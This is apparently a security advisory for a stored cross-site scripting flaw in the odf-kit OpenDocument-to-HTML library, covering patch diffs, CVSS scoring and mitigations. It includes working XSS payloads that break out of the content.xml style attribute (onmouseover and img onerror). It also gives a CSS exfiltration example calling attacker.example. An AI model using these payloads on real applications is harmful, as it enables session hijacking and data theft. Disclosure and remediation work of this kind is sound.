CVE-2026-113787: Stored Cross-Site Scripting via Unescaped Style Attributes in odf-kit

odf-kit is an open-source TypeScript and JavaScript library distributed via npm (GitHubNewbie0/odf-kit) that provides programmatic capabilities to read, generate, fill, and convert OpenDocument Format files, specifically .odt text documents and .ods spreadsheets. Among its core features are the odtToHtml() and odsToHtml() functions, which parse OpenDocument XML archives and emit HTML strings intended for direct embedding within web applications.

In versions starting from 0.6.0 and prior to 0.14.2, the HTML rendering pipelines in both the ODT (src/odt/to-html/html-renderer.ts) and ODS (src/ods/to-html/html-renderer.ts) modules suffer from an Improper Neutralization of Input During Web Page Generation vulnerability (CWE-79). While the library implemented an escapeHtml() helper and applied it to standard text nodes and specific attributes such as href, alt, id, data-author, and data-date, it completely omitted contextual escaping for inline style="..." attributes and base64 image src="data:..." attributes.

When parsing an OpenDocument archive, styling properties defined inside content.xml—such as fo:color, fo:background-color, svg:width, and style:row-height—are extracted verbatim into internal AST style representations. During the HTML serialization phase, these raw strings are concatenated directly into double-quoted HTML attributes. Because double quotes (") are not neutralized as ", an attacker can craft a style property containing a quote character to prematurely terminate the attribute boundary.

Once outside the style or src attribute context, the attacker can inject arbitrary HTML attributes (such as onmouseover or onload event handlers) or close the current HTML tag using > and inject entirely new HTML elements like <script> or <img onerror=...>. When a web application renders the output of odtToHtml() or odsToHtml() into a user's browser DOM without secondary sanitization, the injected payload executes within the origin security context of the host application.

The root cause of CVE-2026-113787 is an architectural inconsistency in how odf-kit handles output encoding across different HTML emission contexts. OpenDocument files (.odt and .ods) are ZIP archives containing XML files, primarily content.xml and styles.xml. During the parsing stage in read/parser.ts, functions such as extractSpanStyle read XML attributes from elements like <style:text-properties>, <style:paragraph-properties>, <style:table-cell-properties>, and <style:table-row-properties>.

Because the XML parser decodes XML entities (such as ", <, and >) when populating the in-memory Document Object Model, any XML-encoded special characters present in content.xml are restored to their literal characters (", <, >) inside the parsed TypeScript data structures (e.g., style.fontColor, cell.cellStyle.backgroundColor, row.height, or node.mediaType). The parser performs no lexical validation or allowlisting on CSS property values; it treats them as opaque strings.

During the HTML serialization phase, helper functions including spanStyleToCss(), paragraphStyleToCss(), cellStyleToCss(), rowStyleToCss(), and buildInlineStyle() format these properties into semicolon-delimited CSS declarations (e.g., color:${span.style.fontColor}). Subsequently, the element rendering functions interpolate these CSS strings directly into template literals surrounded by double quotes: style="${css}".

Audit of the codebase identified 11 distinct vulnerable emission sites across the ODT and ODS renderers:

1. Text Span Styles (ODT): renderTextSpan in src/odt/to-html/html-renderer.ts (line 197) via spanStyleToCss(span.style).
2. Image Data URI Source (ODT): renderImage in src/odt/to-html/html-renderer.ts (line 227) via unescaped node.mediaType and node.data in src="data:${node.mediaType};base64,${node.data}".
3. Image Inline Dimensions (ODT): renderImage in src/odt/to-html/html-renderer.ts (line 246) via svg:width and svg:height concatenated into styleParts.
4. Table Row Styles (ODT): renderRow in src/odt/to-html/html-renderer.ts (line 369) via rowStyleToCss(row.rowStyle).
5. Table Cell Styles (ODT): renderRow in src/odt/to-html/html-renderer.ts (line 384) via cellStyleToCss(cell.cellStyle).
6. Table Column Widths (ODT): renderTable in src/odt/to-html/html-renderer.ts (line 414) via <col style="width:${cw}">.
7. Paragraph Styles (ODT): renderBodyNode in src/odt/to-html/html-renderer.ts (line 515) via paragraphStyleToCss(node.paragraphStyle).
8. Heading Styles (ODT): renderBodyNode in src/odt/to-html/html-renderer.ts (line 523) via paragraphStyleToCss(node.paragraphStyle).
9. Spreadsheet Cell Styles (ODS): renderCell in src/ods/to-html/html-renderer.ts (line 65) via buildInlineStyle().
10. Spreadsheet Row Heights (ODS): renderRow in src/ods/to-html/html-renderer.ts (line 95) via style="height:${row.height}".
11. Source CSS Properties: Across these sites, vulnerable XML attributes include fo:color, fo:background-color, fo:text-shadow, fo:letter-spacing, fo:font-family, fo:margin-*, fo:padding-*, fo:line-height, fo:border*, and style:vertical-align.

The maintainers addressed CVE-2026-113787 across three primary commits released in version 0.14.2. First, commit aa64c734ebd7e7be40e35fcda83b1144193c3da2 exposed the escapeAttr() function from src/core/xml.ts via the core module index (src/core/index.ts). This utility encodes ampersands, angle brackets, and double quotes into their corresponding HTML/XML character references:

// src/core/xml.ts
export function escapeXml(text: string): string {
  return text
    .replace(/&/g, "&")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;");
}
 
export function escapeAttr(value: string): string {
  return escapeXml(value).replace(/"/g, "&quot;");
}

Second, commit fa3abc5a7a757f56c7212b2dbe99d1d2db995420 updated src/odt/to-html/html-renderer.ts to wrap all inline style strings and image data URI parameters with escapeAttr(). Below is the annotated diff showing how the ODT emission points were remediated:

--- a/src/odt/to-html/html-renderer.ts
+++ b/src/odt/to-html/html-renderer.ts
@@ -41,6 +41,8 @@
+import { escapeAttr } from "../../core/index.js";
 
@@ -194,7 +196,7 @@ function renderTextSpan(span: TextSpan): string {
   if (span.style !== undefined) {
     const css = spanStyleToCss(span.style);
-    if (css) html = `<span style="${css}">${html}</span>`;
+    // Neutralizes quotes and angle brackets in span CSS properties (e.g., fo:color)
+    if (css) html = `<span style="${escapeAttr(css)}">${html}</span>`;
   }
 
@@ -224,7 +226,7 @@ function renderImage(node: ImageNode): string {
   if (node.data && node.mediaType) {
-    attrs.push(`src="data:${node.mediaType};base64,${node.data}"`);
+    // Prevents attribute breakout via crafted manifest media-type or base64 data
+    attrs.push(`src="data:${escapeAttr(node.mediaType)};base64,${escapeAttr(node.data)}"`);
   }
 
@@ -243,7 +245,7 @@ function renderImage(node: ImageNode): string {
-  if (styleParts.length > 0) attrs.push(`style="${styleParts.join(";")}"`);
+  // Neutralizes svg:width and svg:height injection
+  if (styleParts.length > 0) attrs.push(`style="${escapeAttr(styleParts.join(";"))}"`);
 
@@ -366,7 +368,7 @@ function renderRow(
   const rowCss = row.rowStyle !== undefined ? rowStyleToCss(row.rowStyle) : "";
-  const rowAttrs = rowCss ? ` style="${rowCss}"` : "";
+  const rowAttrs = rowCss ? ` style="${escapeAttr(rowCss)}"` : "";
 
@@ -381,7 +383,7 @@ function renderRow(
       if (cell.cellStyle !== undefined) {
         const css = cellStyleToCss(cell.cellStyle);
-        if (css) attrParts.push(`style="${css}"`);
+        if (css) attrParts.push(`style="${escapeAttr(css)}"`);
       }
 
@@ -411,7 +413,7 @@ function renderTable(table: TableNode, options?: HtmlOptions): string {
   for (const row of table.rows) {
     const cols = row.cells.map((cell) => {
       const cw = cell.cellStyle?.columnWidth;
-      return cw ? `<col style="width:${cw}">` : "<col>";
+      return cw ? `<col style="width:${escapeAttr(cw)}">` : "<col>";
     });

Similarly, in renderBodyNode (src/odt/to-html/html-renderer.ts, lines 514–527), both the paragraph and heading switch cases were updated to apply escapeAttr(css) before constructing <p> and <hN> tags. In tandem, commit 1424227d1ca2716a249b623d1456575ff0331dcc patched src/ods/to-html/html-renderer.ts by wrapping the output of buildInlineStyle in renderCell and row.height in renderRow with escapeAttr().

> [!WARNING] > Fix Completeness & Residual CSS Injection Risk: While escapeAttr() completely prevents HTML attribute breakout and arbitrary HTML tag injection (converting " to " and < to <), it does not validate CSS syntax or sanitize semicolons (;). Because HTML parsers decode character entities inside style attributes prior to invoking the CSS parser, an attacker can still inject arbitrary CSS declarations (e.g., fo:color="red; background-image: url(https://attacker.example/exfil); position: fixed; width: 100vw; height: 100vh"). This allows UI redressing (phishing overlays) and CSS-based data exfiltration if the host application does not enforce a strict Content Security Policy (CSP) or secondary CSS sanitization. Recognizing this limitation, the maintainers pushed commit 7ea7e17c0881d87ac1bb8e9d2dea95483f0a8fac to remove documentation comments that previously claimed the HTML output was "safe to embed in any context."

Exploiting CVE-2026-113787 requires no authentication or specialized privileges in scenarios where a target web application accepts user-supplied .odt or .ods documents and renders them in a browser using odtToHtml() or odsToHtml(). To construct an exploit payload, an attacker creates a valid OpenDocument archive (a standard ZIP file) containing a modified content.xml file.

There are two primary exploitation vectors demonstrated by the regression fixtures committed to the repository test suite (tests/reader/fixtures/xss-attr-breakout-ghsa3cgg.odt, xss-markup-injection-ghsa3cgg.odt, and xss-markup-injection-ghsa3cgg.ods).

Vector 1: HTML Attribute Injection

In the first vector, the attacker injects a double quote into an automatic style definition inside content.xml to close the style attribute and introduce an inline event handler on the existing <span style="..."> or <td> element:

<!-- Malicious style definition inside content.xml -->
<office:automatic-styles>
  <style:style style:name="T1" style:family="text">
    <style:text-properties fo:color="red&quot; onmouseover=&quot;alert(1)" />
  </style:style>
</office:automatic-styles>
<office:body>
  <office:text>
    <text:p><text:span text:style-name="T1">Hover over this text</text:span></text:p>
  </office:text>
</office:body>

When odtToHtml() processes this archive in versions < 0.14.2, the XML parser decodes " to ", and renderTextSpan outputs:

<p><span style="color:red" onmouseover="alert(1)">Hover over this text</span></p>

Vector 2: Full Element Breakout (Immediate Execution)

To achieve immediate JavaScript execution without requiring the victim to hover over a specific element, the attacker uses " followed by > ("> in XML) to close both the style attribute and the enclosing <span ...> tag, then injects an autonomous payload such as an <img> tag with an onerror handler:

<!-- Malicious element breakout inside content.xml -->
<style:style style:name="T1" style:family="text">
  <style:text-properties fo:color="red&quot;&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;span style=&quot;" />
</style:style>

When rendered by odtToHtml(), the unescaped emission produces the following HTML structure:

<span style="color:red"><img src=x onerror=alert(document.domain)><span style="">hello</span>

When inserted into the DOM (for example, via element.innerHTML or React's dangerouslySetInnerHTML), the browser immediately attempts to load src=x, fails, and fires the onerror handler, executing arbitrary JavaScript within the user's authenticated session.

CVE-2026-113787 is rated with a CVSS v3.1 base score of 6.1 (Medium) under the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), as OpenDocument files are routinely shared, uploaded, and previewed across document management portals, webmail clients, and collaborative web applications. No privileges (PR:N) are required to craft the file, though User Interaction (UI:R) is required because a victim user must view the rendered HTML document.

The Scope is Changed (S:C) because the vulnerable component is the server-side or client-side file conversion library (odf-kit), while the security impact manifests within the security authority of the client web browser executing the host web application.

Within the compromised browser session, the Confidentiality (C:L) and Integrity (I:L) impacts allow an attacker to:

• Read accessible session identifiers, CSRF tokens, localStorage / sessionStorage data, and sensitive information displayed within the application DOM.
• Perform unauthorized state-changing actions (such as modifying account settings, exfiltrating internal documents, or submitting forms) on behalf of the victim user via authenticated fetch or XMLHttpRequest calls.
• Deface or alter the rendered document view to conduct targeted credential harvesting.

As of current threat intelligence tracking, the EPSS score for CVE-2026-113787 is 0.00246 (15.997th percentile), indicating a low probability of widespread automated exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, though functional proof-of-concept files are publicly available within the upstream GitHub repository's regression test suite.

All downstream applications and libraries depending on odf-kit should immediately upgrade to version 0.14.2 or later, where all 11 inline style and image data URI emission sites are properly escaped via escapeAttr().

npm install odf-kit@^0.14.2

Because odf-kit translates rich document formatting into inline CSS without a full CSS lexical parser, upgrading to 0.14.2 neutralizes HTML attribute and tag injection (XSS) but does not restrict arbitrary CSS property declarations within style attributes. Consequently, engineering teams rendering untrusted .odt or .ods files must implement defense-in-depth controls at the application layer:

1. HTML & CSS Sanitization: Always pass the HTML string returned by odtToHtml() or odsToHtml() through a context-aware HTML sanitizer such as DOMPurify before inserting it into the DOM.

import DOMPurify from "dompurify";
import { odtToHtml } from "odf-kit";
 
const rawHtml = await odtToHtml(untrustedOdtBuffer);
const safeHtml = DOMPurify.sanitize(rawHtml, {
  FORBID_TAGS: ["style", "script", "iframe", "object", "embed"],
  FORBID_ATTR: ["onerror", "onload", "onmouseover", "onclick"]
});

2. Sandboxed Execution Contexts: When displaying previews of untrusted documents, render the generated HTML inside an isolated <iframe sandbox=""> attribute without the allow-same-origin or allow-scripts flags. This guarantees that even if markup or CSS injection occurs, it cannot access the parent application's DOM, cookies, or storage APIs.

3. Content Security Policy (CSP): Deploy a strict Content Security Policy header that disables inline script execution (script-src 'self') and restricts external resource loading (img-src 'self' data:; style-src 'self' 'unsafe-inline'). Note that if 'unsafe-inline' is required for style-src to support odf-kit inline formatting, restricting connect-src and img-src helps prevent CSS-based data exfiltration via background-image: url(...).